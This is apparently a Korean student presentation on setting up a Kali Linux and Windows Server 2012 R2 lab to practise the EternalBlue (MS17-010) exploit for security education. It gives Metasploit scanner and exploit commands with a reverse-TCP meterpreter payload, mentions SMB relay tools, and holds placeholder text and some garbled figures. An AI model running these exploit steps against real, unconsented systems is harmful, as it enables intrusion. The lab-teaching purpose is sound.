
사이버보안교육을위한
칼리리눅스를활용한
윈도우서버침투테스트
실습및환경구축방법론
Methods for Settings Up a Windows Server Penetration 
Testing Lab Environment Using Kali Linux for Cyber 
Security Education

정찬하



사이버 보안 교육을 위한
침투 테스트 실습 및 환경구축

방법론
Penetration Testing Labs and Environments for Cybersecurity 

TrainingMethodologies

정찬하

제목

제목

본문



1. 서론 1.1 연구의 배경

1.2 연구의 목적

1.3 연구 필요성

2. 이론적 배경 2-1. 이터널블루

2-2. EternalBlue 악용사례

2-3. Windows server 2012 R2 취약점

2-4. EternalBlue 악용사례

2-5. 2024,현재까지 지속되는 워너크라이

2-6. 낫페트야(NotPetya)

2-7. 이론적 배경 요약

4. 환경구축 및 실습 4-1. VulnHub을 이용한 모의침투 테스트

4-2 Gupta, Manoj R., et al. "Eternal Blue 

Vulnerability."

4-3 SMB 릴레이 공격

3. 관련연구 3-1.운영체제

3-2.네트워크 설정

3-3. SMB취약점 스캔

3-4. SMB취약점 설정

3-5.취약점 스캔

3-6. Eternalblue Exploit 

5. 결론

Contents

사이버보안교육을위한
침투테스트실습및환경구축방법론

Penetration Testing Labs and Environments for Cybersecurity 
TrainingMethodologies

5-1 연구 결과

5-2 향후 연구 계획



1. 서론
Introduction

1-1 연구의 배경

1-2 연구의 목적

1-3 연구 필요성

사이버보안교육을위한
침투테스트실습및환경구축방법론

Penetration Testing Labs and Environments for Cybersecurity 
TrainingMethodologies



사이버 보안 교육을 위한 침투 테스트

실습 환경구축 방법론

5

1. 서론

사이버 보안 교육에서 실습 환경 구축의 중요성은 점점 더 부각되고 있다. 이론적인 지식만으로는 실제 사이

버 공격과 방어 기술을 충분히 이해하고 습득하기 어려우며, 이러한 한계를 극복하기 위해서는 실제 환경에서

의 실습이 필수적이다. 특히, 이론만으로는 체득하기 어려운 네트워크 공격과 취약점 악용에 대한 구체적인 경

험을 제공하기 위해, 실습 환경에서의 도전적인 실제 사이버 보안 시뮬레이션이 필요하다. Luay A. Wahsheh와

Biruk Mekonnen의 연구에서도, 튜토리얼 실습이 학습자들의 문제 해결 능력을 향상시키고 실질적인 보안 지

식을 제공하는 데 중요한 역할을 한다고 강조한 바 있다.

하지만 실제로 실습 환경을 구축하는 것은 학습자들에게 큰 도전 과제이다. 필자는 실습 환경을 체계적으로

구축하는 과정에서 다양한 조각난 정보를 수집하고 연결하는 데 많은 어려움을 겪었다. 이에 따라 본 논문은

A부터 Z까지 실습 환경을 체계적으로 구축하는 방법을 상세히 제시하며, 특히 SMB취약점을 활용한 다양한 공

격 모의 침투들을 비교하며 교육적으로 가장 효과적인 방법임을 논의하고자 한다. 이를 통해 사이버 보안 실

습 환경을 체계적으로 구성하려는 학습자들에게 구체적인 지침을 제공하고, 다른 공격 실습과 비교를 통해 필

자의 방법론이 더욱 효과적임을 입증할 것이다.

1-1. 연구의 배경
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1. 서론

본 논문의 목적은 다양한 모의 침투 테스트 방식 중에서 이터널블루 기반 실습 환경 구축 방법을 단계별로 자

세히 설명하고, 그 과정에서 고려해야 할 기술적 요구 사항을 명확히 제시하는 것이다. 이를 통해 학습자들은

실제 보안 실습 환경을 구축하는 데 필요한 구체적인 지식을 습득할 수 있을 것이다. 특히, 본 연구는 이터널블

루 공격을 활용한 윈도우 서버의 권한 획득 시나리오를 중심으로, 필자의 경험을 바탕으로 실습 환경 구축의

실제적인 어려움과 그 해결 방안을 논의할 것이다. 또한 이터널블루 실습 방법이 다른 모의 침투 방식에 비해

어떤 점에서 더 효율적이고 교육적으로 유용한지 비교하여 설명할 것이다.

1-2. 연구의 목적
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1. 서론

사이버 보안 교육에서 실습 환경을 효과적으로 구축하는 것은 이론뿐만 아니

라 실제적인 기술을 습득할 수 있는 기회를 제공하는 데 중요한 역할을 한다.

예를 들어, 취약점 공격을 위한 실습 환경을 직접 구축하고 실습하는 것은 학

생들이 단순한 이론적 학습을 넘어서, 실제 시스템의 취약점을 이해하고 이를

악용하는 방법을 직접 경험할 수 있게 한다. 또한 직접 환경을 구축하며 부가

적인 네트워크 지식 향상, 프로그램을 다루는 능력향상과 이는 학습자들이 보

안 취약점에 대한 깊이 있는 이해를 돕고, 나아가 실제 사이버 공격에 대응할

수 있는 능력을 기르는 데 중요한 역할을 한다. 본 논문에서는 이와 같은 실습

이 다른 모의 침투 방식과 비교했을 때 교육적 가치가 더 크다는 점을 강조하

고, 이를 뒷받침하는 다양한 실험 결과와 분석을 제시할 것이다.

1-3. 연구의 필요성
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2. 이론적 배경

• 이터널블루(EternalBlue)는 일반적으로 미국 국가안보국(NSA)에 의해 개발된 것으로 간주되는

취약점 공격 도구이다. 섀도 브로커스라는 해커 그룹이 2017년 4월 14일에 유출하였으며,

2017년 5월 12일에 전 세계 워너크라이 랜섬웨어 공격의 일부로 사용되었다. 이터널블루는 마

이크로소프트의 서버 메시지 블록(SMB) 프로토콜 구현의 취약점을 공격한다. 이 취약점은 공

통 취약점 및 노출(CVE) 카탈로그의 CVE-2017-0144에 고지되어 있다.2)

.

2-1. 이터널블루

2) 위키백과, 이터널블루, https://www.cve.org/CVERecord?id=CVE-2017-0144, 2024.10.15
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2. 이론적 배경

워너크라이(WannaCry) 랜섬웨어 공격

워너크라이(WannaCry) 랜섬웨어 공격은 2017년 5월에 발생한

대규모 사이버 공격으로, 150,444개국 이상에서 230,000대 이

상의 컴퓨터에 영향을 미친 후 전 세계의 주목을 받았다. 병원

및 통신, 가스, 전기 및 기타 서비스 제공 업체와 같은 유명 조직

이이 공격의 첫 번째 희생자였다. 이터널블루를 통해 SMB 프로

토콜의 취약점을 악용하였으며, 피해자들의 데이터를 암호화한

후 금전을 요구하는 방식으로 작동하였다. 이 공격은 주로 보안

패치를 적용하지 않은 시스템을 대상으로 하여, 병원, 은행, 공

공 기관 등 다양한 분야에 큰 피해를 입혔다.

2-2. EternalBlue 악용사례
[그림 2-2] Wana Decrypt0r 화면
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2. 이론적 배경

Description

The SMBv1 server in Microsoft Windows Vista SP2; Windows

Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1;

Windows Server 2012 Gold and R2; Windows RT 8.1; and

Windows 10 Gold, 1511, and 1607; and Windows Server 2016

allows remote attackers to execute arbitrary code via crafted

packets, aka "Windows SMB Remote Code Execution

Vulnerability." This vulnerability is different from those

described in CVE-2017-0143, CVE-2017-0145, CVE-2017-0146,

and CVE-2017-0148.1)

1) CVE.ORG, ”CVE-2017-0144”, https://www.cve.org/CVERecord?id=CVE-2017-0144, 2024.10.15

CVE-2017-0144(Eternalblue)

2-3. Windows server 2012 R2 취약점

.

[그림 2-1] Windows server 2012 R2 취약점 확인

https://www.cve.org/CVERecord?id=CVE-2017-0144
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2. 이론적 배경

워너크라이(WannaCry) 랜섬웨어 공격

감염경로

많은 랜섬웨어가 메일 첨부 파일이나 홈페이지 방문 할 때 감염되

는 데 반 해 WannaCryptor 랜 섬 웨어 는 MS17-010 (Microsoft

Windows SMBv2 원격코드실행 취약점)을 통해 감염 된다. 즉, 윈도

우 2017년 3월 보안 업데이트가 적용되지 않은 시스템은 별도의

사용자 동작 없이도 인터넷이 연결 되어 있다면 감염 될 수 있다.

2-4. EternalBlue 악용사례
[그림2-3] MS17-010 취약점을이용하여감염되는WannaCryptor실행흐름도3)

3) ASEC,”워너크라이 랜섬웨어의 SMB 취약점 확인 및 진입 방법“, 
https://asec.ahnlab.com/ko/1067/, 2024.10.15

https://asec.ahnlab.com/ko/1067/
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2. 이론적 배경

2-5. 2024,현재까지 지속되는 워너크라이

보안업계 관계자는 "최근 발생한 취약점 공격 중 상당히 많은 부분이 워너크라이에 감염된 것으로 나타났다"

며 "이는 기업들 중 대다수가 아직까지도 워너크라이 패치를 하고 있지 않고, 이에 대해 제대로 대응하지 않

고 있단 점을 시사한다"고 말했다.보안업계 관계자는 "취약점을 그대로 방치한 채 시스템을 유지하면 공격자

의 표적이 되기 쉽다"며 "공격자들이 아직까지도 워너크라이를 계속 사용하고 있고, 랜섬웨어 공격 피해 중

대다수가 워너크라이로 인한 피해라는 것은 기업들이 반성해야할 만한 심각한 문제다"고 말했다. 이어 "새로

운 공격 방식에는 대응하기 힘들 수 있지만 충분히 인지도가 높고 패치가 배포된 랜섬웨어에 대한 공격만이

라도 잘 방어한다면 기업의 피해를 대폭 줄일 수 있을 것이다"고 조언했다.4)

마이크로소프트가 웃지 못 할 실수를 저질렀다. 정기 패치 업데이트에서 윈도우10 SMB(Server Message

Block) 프로토콜 취약점을 공개한 것이다.

취약점 코드 CVE-2020-0796로 명명된 이 취약점은 SMBv3 (Server Message Block 3.0) 네트워크 통신 프로

토콜의 사전 원격 코드 실행 취약점으로, 아직 해당 문제에 대한 패치는 이뤄지지 않고 있는 상황이다.5)

5) 와이드경제(https://www.widedaily.com)

4) IT조선, “2024 워너크라이“, https://it.chosun.com/news/articleView.html?idxno=2023031602405, 
2024.10.15

https://it.chosun.com/news/articleView.html?idxno=2023031602405
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2. 이론적 배경

낫페트야 공격은 2017년 6월에 발생한 또 다른 대규모 사이버 공격으로, 이터널블루를 이용하여 시스

템을 감염시켰다. 처음에는 우크라이나를 겨냥한 공격으로 시작되었으나, 이후 전 세계로 확산되었다.

낫페트야는 워너크라이와 유사하게 SMB 프로토콜의 취약점을 이용하였으나, 워너크라이와는 달리

데이터 복구할 수 없는 파괴적인 특성을 가지고 있었다. 이 공격으로 인해 여러 대기업과 공공 기관이

심각한 피해를 입었으며, 특히 Maersk, Merck 등 글로벌 기업들이 큰 손실을 입었다.

2-6. 낫페트야(NotPetya)
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2. 이론적 배경

2-7. 이론적 배경 요약
[그림2-4] EternalBlue detection (trendline)

[그림2-5] Unique clients reporting EternalBlue (trendline)
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3. 관련 연구

※  수년에걸쳐많은사람들이이러한리소스를만들어왔고많은시간을투자하여 '숨겨진보석'과같은교육자료를만들어냈습니

다. 그러나이러한자료는사용자가알지못하면발견하기어렵습니다.

그래서VulnHub는가능한한많은자료를다루기위해탄생했으며, (합법적으로) '파괴, 해킹및악용이가능한' '물건'의카탈로그를

만들어안전한환경에서학습하고 '물건'을밖으로연습할수있도록합니다.

VulnHub의데이터베이스에무언가가추가되면가능한한최선을다해색인화하여여러분이배우거나실험하고자하는것과가장

잘일치하도록노력할것입니다. 또한자료를미러링하고리소스를보존하기위해원본출처의허가를요청할것입니다.

다른사람을볼수있습니다...

그리고동시에따라할수있습니다...

그후직접설정한다음시도해보세요(시스템에대한인사이트를얻을수있도록-화이트박스테스트)...

마지막으로알수없는소스에서시작할수있습니다(블랙박스테스트)...

...그리고막히면언제든지도움을요청할수있습니다!

출처 :  https://www.vulnhub.com/

조사대상 및 기간3-1. VulnHub을 이용한 모의침투 테스트

https://hg2lee.tistory.com/165
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조사대상 및 기간3-1. VulnHub을 이용한 모의침투 테스트

설명 : 이 문서는 boot2root 가상 머신을 요약한 것으
로, 기본 펜테스팅 시리즈 연속으로 설계되었다. 이는
펜테스팅 기술을 처음 접하는 사람들이 보안의 공격적
인 측면을 탐구할 수 있도록 개발되었다. VirtualBox를
이용한 테스트가 권장되며, VMware에서도 작동할 것
으로 예상되지만 테스트되지 않았다. 이 가상 머신은
첫 번째 항목보다 중간 수준의 난이도를 가지고 있다. 
따라서 이 VM은 초급자용 챌린지를 몇 번 시도한 뒤
다음 단계로 수행하기에 좋은 선택이다. 이 챌린지에는
초기 익스플로잇 벡터와 권한 상승 취약점이 포함되어
있다. 목표는 원격으로 VM을 공격하여 루트 권한을 얻
고, /root/flag.txt에 있는 플래그를 읽는 것이다. VM을
완료한 후에는 피드백이나 문의사항을 이메일
( josiah@vt.edu)로 보낼 수 있다. 예전 작업에 대한 후
기를 작성하면 다른 사람에게 도움이 될 수 있다.

출처 : https://www.vulnhub.com/entry/basic-
pentesting-2,241/ 
번역 : 
https://www.deepl.com/ko/translator#en/ko/Descripti
on

3. 관련 연구
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실내용

조사대상 및 기간3-2. Gupta, Manoj R., et al. "Eternal Blue Vulnerability."

3. 관련 연구
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의
미

유
형

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

• 텍스트를입력하세요

조사대상 및 기간3-3. SMB 릴레이 공격

[그림 4-1] SMB 서명이 적용되지 않은 워크스테이션 식별 [그림 4-2] SMB,HTTP 응답 비활성화 [그림 4-3] Responder 런치

3. 관련 연구
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[그림 4-4] ntlmrelayx 실행, 이벤트 발생 기다림

조사대상 및 기간3-3. SMB 릴레이 공격

[그림 4-5] 성공적인 릴레이의 모습

3. 관련 연구
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4. 환경구축 및 실습

Vmware

Workstation

Pro

Kali Linux Windows Server 2012 R2

4-1.운영체제
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4. 환경구축 및 실습

4-2.네트워크 설정

[그림3-1] Virtual Network Editor 네트워크 환경 구축
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4. 환경구축 및 실습

4-3. SMB취약점 스캔

[그림3-2] SMB취약점 발견 하지 못함

..?

[그림 3-3] Windows server 2012 R2 취약점 확인
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4. 환경구축 및 실습

4-4. SMB취약점 설정

[그림3-4] 공유 폴더 생성
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4. 환경구축 및 실습

4-5.취약점 스캔

명령어 : $ nmap --script vuln 10.10.10.27

Smb-vuln-ms17-010:
VULNERABLE: 를 통해 ms-17-010(Eternalblue)
공격이 가능하다는 것을 확인.

[그림3-5] ms17-010 취약점 존재 여부 확인.
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4. 환경구축 및 실습

4-5. 취약점 스캔
명령어 : $ msfconsole

$ search smb scanner
$ use auxiliary/scanner/smb/smb_ms17_010
$ set rhost 10.10.10.27
$ run

결과 : Host is likely VULNERABLE to MS17-010! – Windows Server
2012 R2 Essentials 9600 x64 (64-bit)

[그림3-6] msfconsole

[그림3-7] smb scanner

[그림3-8] smb scanner run
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4. 환경구축 및 실습

4-6. Eternalblue Exploit 

명령어 : $ search eternalblue
$ use exploit/windows/smb/ms17_010_psexec
$ set rhost 10.10.10.27
$ set payload windows/x64/meterpreter/revers_tcp
$ run

[그림3-9] eternalblue Modules
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4. 환경구축 및 실습

[그림3-10] Successful Eternal Blue exploit gets meterpreter.

4-6. Eternalblue Exploit 
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4. 환경구축 및 실습

[그림3-11] Eternalblue Exploit 시연영상 QR 코드

4-6. Eternalblue Exploit 
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Conclusion

5-1. 연구 결과

5-2 향후 연구 계획

사이버보안교육을위한
침투테스트실습및환경구축방법론

Penetration Testing Labs and Environments for Cybersecurity 
TrainingMethodologies



사이버 보안 교육을 위한 침투 테스트

실습 환경구축 방법론

33

5. 결론

5-1. 연구 결과

평가기준 VulnHub 모의
침투

EternalBlue
(Gupta 연구)

SMB 릴레이 공
격

필자의 실험-

교육적 가치 다양한 취약점
실습

이론적 지식 습
득

원격 제어 및 취
약점 실습

실제 시스템 제
어 경험 제공, 
환경 구축 직접
설정을 통한 지
식 획득

효율성 다양한 취약점
분석 가능, 

낮은 실험 효율
성

네트워크 설정
복잡

환경 구축 간편, 
신속한 결과

난이도 중간 초급 중간 ~ 고급 초급~ 중급

환경 구축 다수 시스템 설
치 요구, 완성된
환경

환경 구축 정보
부족

복잡한 네트워
크 설정 필요

쉬운 설정 및 네
트워크 구성

주요 목표 취약점 분석 및
제어

원격 시스템 제
어

인증 정보 탈취 원격 제어, 보안
위협 체험
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5. 결론

5-2. 향후 연구 계획

향후 연구에서는 이터널블루와 같은 SMB 프로토콜 취약점에 대한 보다 심층적인 방어 기법과 대응 전략을 개발하는 데 초점을 맞출

예정이다. 이터널블루는 여전히 많은 시스템에서 위험 요소로 남아 있으며, 특히 패치가 적용되지 않은 구형 시스템에서는 여전히 악

용될 가능성이 크다. 따라서 향후 연구에서는 이러한 취약점에 대한 보다 구체적인 대응 방안을 모색할 것이다.

첫째, 패치 적용의 자동화 및 취약점 관리 시스템을 개발하여, 보안 패치를 적용하지 못한 시스템에 대한 보호 방법을 강화할 계획이

다. 이를 통해 자동으로 패치를 확인하고 적용하여, 공격자들이 악용할 수 있는 취약점이 남아 있는 시스템을 최소화할 수 있을 것이

다.

둘째, AI 기반의 침입 탐지 및 예방 시스템을 연구하여 이터널블루와 같은 취약점을 실시간으로 감지하고 차단할 수 있는 기술을 개발

할 것이다. 현재의 보안 시스템은 주로 기존에 알려진 취약점에 대해 패치를 적용하거나 차단하는 방식으로 운영되지만, 향후 연구에

서는 패치가 적용되지 않은 취약점이나 알려지지 않은 취약점에 대한 실시간 탐지 및 대응 기술을 심화할 예정이다.

셋째, 보안 교육을 위한 실시간 시뮬레이션 환경을 구축하여, 학습자들이 이터널블루와 같은 취약점에 대해 보다 실질적으로 대응할

수 있는 훈련을 받을 수 있도록 할 것이다. 이를 통해 보안 담당자들이 실제 공격 상황에서 대응하는 능력을 배양하고, 시스템 방어 전

략을 보다 효과적으로 구축할 수 있는 기반을 마련할 수 있을 것이다.

이를 통해 이터널블루와 같은 고위험 취약점에 대해 보다 효과적이고 포괄적인 대응 방법을 제시할 수 있으며, 사이버 보안 실습 환

경 또한 더욱 발전시킬 수 있을 것이다.
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